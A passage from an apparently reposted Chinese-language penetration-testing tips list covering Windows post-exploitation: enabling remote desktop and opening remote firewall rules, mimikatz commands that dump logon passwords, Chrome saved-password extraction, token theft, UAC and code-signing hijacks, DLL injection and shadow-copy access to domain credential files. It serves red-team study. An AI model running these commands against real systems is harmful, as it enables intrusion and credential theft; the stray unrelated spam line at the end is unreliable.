    namespace TestDotNet
    {
       public class Class1
       {
          static Class1()
          { 
             Process.Start("cmd.exe");
             Environment.Exit(0);
          }
       }
    }
    

    保存為TestDotNet.cs,直接使用csc.exe生成就好:

    C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:library TestDotNet.cs

    如果保存為a.cs,那么需要加/out參數指定輸出文件為TestDotNet.dll,這樣程序集名稱也默認為TestDotNet(同源代碼對應),否則,dll雖然能夠被加載,但無法執行,參數如下:

    C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:library /out:TestDotNet.dll a.cs


    Tips 43 使用net use遠程連接的端口問題

    使用net use遠程連接,目標如果開啟了NetBIOS over TCP/IP,那么:

    1. 目標同時開放139和445端口,系統優先使用445端口連接
    2. 目標禁用445端口,可使用139端口連接

    目標如果禁用了NetBIOS over TCP/IP,那么:

    1. 目標禁用445端口,無法連接

    Tips 44 獲得TrustedInstaller權限

    啟動服務TrustedInstaller,通過Token復制來獲得TrustedInstaller權限

    常用方法:

    • SelectMyParent
    • Invoke-TokenManipulation.ps1
    • incognito

    參考:

    滲透技巧——Token竊取與利用


    Tips 45 3389遠程連接

    1、查詢系統是否允許3389遠程連接:

    REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

    1表示關閉,0表示開啟

    查看遠程連接的端口:

    REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber

    2、本機開啟3389遠程連接的方法

    方法1:通過cmd

    REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
    REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
    

    方法2:通過reg文件

    內容如下:

    Windows Registry Editor Version 5.00
    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
    "fDenyTSConnections"=dword:00000000
    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
    "PortNumber"=dword:00000d3d
    

    導入注冊表:

    regedit /s a.reg

    注:

    修改連接端口重啟后生效

    補充

    如果系統未配置過遠程桌面服務,第一次開啟時還需要添加防火墻規則,允許3389端口,命令如下:

    netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

    3、遠程連接方法

    kali使用3389遠程連接:

    rdesktop 192.168.1.1:3389

    Windows:

    mstsc.exe

    非服務器版本的Windows系統,默認只允許一個賬戶登錄

    具體表現為:

    遠程登錄時,使用與原系統相同的賬戶,原系統將被切換到登錄界面

    使用不同的賬戶,原系統桌面將彈框提示是否斷開當前連接(30秒后默認選擇同意)

    解決方法:

    使用mimikatz.exe,執行ts::multirdp允許多用戶遠程登錄

    能夠實現不同帳戶遠程登錄不沖突,原系統桌面不會彈框提示

    當然,使用與原系統相同的賬戶,原系統還是會被切換到登錄界面

    注:

    該方法在系統重啟后失效,下次使用需要重新執行命令ts::multirdp

    也可通過修改文件termsrv.dll實現永久修改

    參考:

    《滲透技巧——Windows系統遠程桌面的多用戶登錄》


    Tips 46 使用netsh修改遠程系統的防火墻規則

    遠程系統需要允許Windows防火墻遠程管理,開啟命令如下:

    netsh advfirewall set currentprofile settings remotemanagement enable

    eg.

    netsh -r 192.168.0.2 -u TEST\administrator -p domain123! advfirewall firewall add rule name="any" protocol=TCP dir=in localport=any action=allow
    

    參考:

    《域滲透——利用DCOM在遠程系統執行程序》


    Tips 47 劫持UAC

    當彈出UAC提示框的時候,執行任意代碼,可通過修改注冊表劫持簽名驗證的功能,插入payload

    參考:

    《Authenticode簽名偽造——PE文件的簽名偽造與簽名驗證劫持》


    Tips 48 PE文件的Authenticode簽名偽造

    通過修改注冊表,能夠給PE文件添加微軟證書

    參考:

    《Authenticode簽名偽造——PE文件的簽名偽造與簽名驗證劫持》

    《Authenticode簽名偽造——針對文件類型的簽名偽造》


    Tips 49 PE文件的Catalog簽名偽造

    構造Long UNC文件名,實現文件名欺騙,獲得Catalog簽名

    參考:

    《Catalog簽名偽造——Long UNC文件名欺騙》


    Tips 50 mklink

    用于創建符號鏈接,可理解為快捷方式

    創建目錄c:\test\1,指向c:\temp,可使用以下操作:

    (1) 使用/D參數命令創建一個鏈接:

    mklink /D "c:\test\1" "c:\Temp"

    (2) 使用/J參數命令創建一個聯接:

    mklink /J "c:\test\1" "c:\Temp"

    差異:

    使用/D參數創建的鏈接,文件屬性多了"快捷方式"

    使用/J不需要管理員權限

    使用/D需要管理員權限

    應用:

    更改釋放文件的路徑


    Tips 51 powershell在執行腳本時傳入參數

    powershell -executionpolicy bypass -Command "Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -DumpCerts"
    powershell -executionpolicy bypass -Command "Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command ""log ""privilege::debug"" ""sekurlsa::logonpasswords"""""
    

    Tips 52 dll注入方法

    1、APC

    參考:

    《通過APC實現Dll注入——繞過Sysmon監控》

    2、process hollowing

    參考:

    《傀儡進程的實現與檢測》

    3、Process Doppelg?nging

    參考:

    《Process Doppelganging利用介紹》


    Tips 53 域內默認共享目錄

    \\\SYSVOL\\
    

    所有域內主機都能訪問,里面保存組策略相關數據,包含登錄腳本配置文件等

    參考:

    《域滲透——利用SYSVOL還原組策略中保存的密碼》


    Tips 54 你的TeamViewer有可能被反控

    如果你的TeamViewer版本為13.0.5058,不要隨意連接未知的TeamViewer服務器,有可能被反控

    參考:

    《TeamViewer 13.0.5058中的權限漏洞測試》


    Tips 55 遠程查看域控登錄、注銷相關的日志:

    方法1:

    wevtutil qe security /rd:true /f:text /q:"*[system/eventid=4624 and 4623 and 4672]" /r:dc1 /u:administrator /p:password
    

    方法2:

    (不推薦,直接下載文件太大)

    獲取域控文件:C:\Windows\System32\winevt\Logs\Security.evtx,篩選事件4624/4623/4672


    Tips 56 判斷當前系統是否處在待機狀態

    鎖屏狀態下GetForegroundWindow()的函數返回值為NULL,非鎖屏狀態下GetForegroundWindow()的函數返回值為一個非零的值

    參考:

    https://stackoverflow.com/questions/9563549/what-happens-behind-the-windows-lock-screen

    Powershell腳本實現:

    https://github.com/3gstudent/Writeup/blob/master/CheckStandby.ps1


    Tips 57 獲得當前系統用戶無輸入的時間

    通過API GetIdleTime進行判斷

    c#實現:

    https://www.codeproject.com/Articles/13384/Getting-the-user-idle-time-with-C

    powershell腳本實現:

    https://github.com/3gstudent/Writeup/blob/master/GetIdleTime.ps1


    Tips 58 判斷當前系統的屏保啟動時間

    判斷是否開啟屏保:

    查找注冊表HKEY_CURRENT_USER\Control Panel\Desktop,是否存在鍵值SCRNSAVE.EXE

    REG QUERY "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE
    

    如果開啟屏保,查看鍵值ScreenSaveTimeOut獲得屏保啟動時間(以秒為單位)

    REG QUERY "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeOut
    

    Tips 59 隱藏指定進程的界面

    通過API ShowWindowAsync改變窗口狀態

    通過powershell實現,腳本可參考:

    https://github.com/3gstudent/Writeup/blob/master/HiddenProcess.ps1


    Tips 60 通過Powershell對Windows系統截屏

    腳本下載地址:

    https://gallery.technet.microsoft.com/scriptcenter/eeff544a-f690-4f6b-a586-11eea6fc5eb8/file/50729/1/Take-ScreenShot.ps1


    Tips 61 查看當前Windows系統已安裝的程序

    通過枚舉注冊表項HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall下所有子健的DisplayName獲取

    注:

    64位系統下32位程序的目錄為HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall

    powershell腳本實現的參考地址:

    https://github.com/3gstudent/ListInstalledPrograms


    Tips 62 通過wmi獲得當前系統的類型

    wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_ComputerSystem get PCSystemType /FORMAT:list
    

    ValueMeaning0 (0x0)Unspecified1 (0x1)Desktop2 (0x2)Mobile3 (0x3)Workstation4 (0x4)Enterprise Server5 (0x5)Small Office and Home Office (SOHO) Server6 (0x6)Appliance PC7 (0x7)Performance Server8 (0x8)Maximum

    Tips 63 導出Chrome瀏覽器保存的密碼:

    1、在線獲取

    方法1:

    讀取數據庫文件%LocalAppData%\Google\Chrome\User Data\Default\Login Data,如果Chrome瀏覽器正在運行,無法直接讀取,需要先復制

    在當前系統調用API CryptUnprotectData直接解密

    方法2:

    mimikatz

    vault::cred
    

    參考:

    《滲透技巧——導出Chrome瀏覽器中保存的密碼》

    2、離線獲取

    使用Master Key,不需要獲得用戶明文密碼

    參考:

    《滲透技巧——利用Masterkey離線導出Chrome瀏覽器中保存的密碼》


    Tips 65 通過ShadowCopy獲得系統的歷史文件

    查詢當前系統有無快照:

    vssadmin list shadows
    

    訪問歷史快照中的文件:

    mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy15\
    dir c:\testvsc
    

    參考:

    《域滲透——獲得域控服務器的NTDS.dit文件》


    Tips 64 命令行執行多條命令的方法

    aa && bb
    

    執行aa,成功后再執行bb

    aa || bb
    

    先執行aa,若執行成功則不再執行bb,若失敗則再執行bb

    aa & bb
    

    先執行aa再執行bb,無論aa是否成功


    Tips 65 通過powershell發送郵件(包含附件)

    兩種方法,代碼可參考:

    https://github.com/3gstudent/SendMail-with-Attachments


    Tips 66 通過powershell讀取注冊表獲得所有用戶的遠程桌面連接歷史記錄

    默認讀注冊表只能獲取當前已登錄用戶的注冊表信息,可通過reg load加載配置單元獲得未登錄用戶的注冊表配置

    代碼可參考:

    https://github.com/3gstudent/ListInstalledPrograms

    參考:

    《滲透技巧——獲得Windows系統的遠程桌面連接歷史記錄》

    版權申明:內容來源網絡,版權歸原創者所有。除非無法確認,都會標明作者及出處,如有侵權,煩請告知,我們會立即刪除并致歉!



    powershelldll劫持
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    動態鏈接庫的方式以及Windows API指示使用它們的方式都可以用作任意代碼執行的接口,并協助惡意行為者實現其目標。DLL主要用于在系統上的應用程序和進程之間共享此內容,以便在為Windows創建應用程序時為程序員提供高度的靈活性。這意味著,如果DLL包含任何異常,則不會為調用EXE提供任何保護。這些函數接收一個路徑參數,該參數導致所請求的DLL,并向調用過程返回模塊的句柄。
    時間線11 月 10 日,我們發現了一次多階段 PowerShell 攻擊,該攻擊使用冒充哈薩克斯坦衛生部的
    滲透技巧總結
    2022-01-28 21:33:52
    聲明以下技巧不應用于非法用途Tips 1. 手動端口探測nmap的-sV可以探測出服務版本,但有些情況下必須手動探測去驗證使用Wireshark獲取響應包未免大材小用,可通過nc簡單判斷eg.對于8001端口,nc連接上去,隨便輸入一個字符串,
    PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession,這樣一個一個去把導出函數寫出。不要去直接include系統文件amsi,這樣他那個文件里本來就有相關函數,這樣會起沖突,直接把有些結構體粘過來就好了。
    1、文檔連接釣魚 1)LINK鏈接釣魚 2)LINK快捷方式釣魚 3)CHM文檔釣魚 CHM文檔bypass waf 4)HTA釣魚 5)宏釣魚 宏釣魚 bypass waf 6)OLE(Object Linking and Embedding,對象鏈接與嵌入) 7)嵌入JS元素 8)利用模板文件注入宏指令 9)CVE 2、偽造界面釣魚 1)PPT動
    根據多次項目實戰中發現,office宏仍然是最高的成功率,在靜默釣魚中也是最不容易觸發人員的警覺。因為大部分員工即使有安全意識,也是不運行陌生的exe程序,但是對于word文檔則沒有足夠的安全意識,認為word文檔都是安全的。正是基于此心理狀態,office宏在釣魚中仍然占據重要成分。
    0x01 介紹根據多次項目實戰中發現,office宏仍然是最高的成功率,在靜默釣魚中也是最不容易觸發人員的警覺。因為大部分員工即使有安全意識,也是不運行陌生的exe程序,但是對于word文檔則沒有足夠的安全意識,認為word文檔都是安全的。
    前幾天受到某位紅隊大佬指點了一波amsi接口限制powershell腳本的問題,隨即便深知自己的知識面不足,這其實是個很基礎的技術點,慚愧,于是便快速學習并產出此文,本文盡力通俗易懂,希望能幫到對這一塊不太熟悉的小伙伴。
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类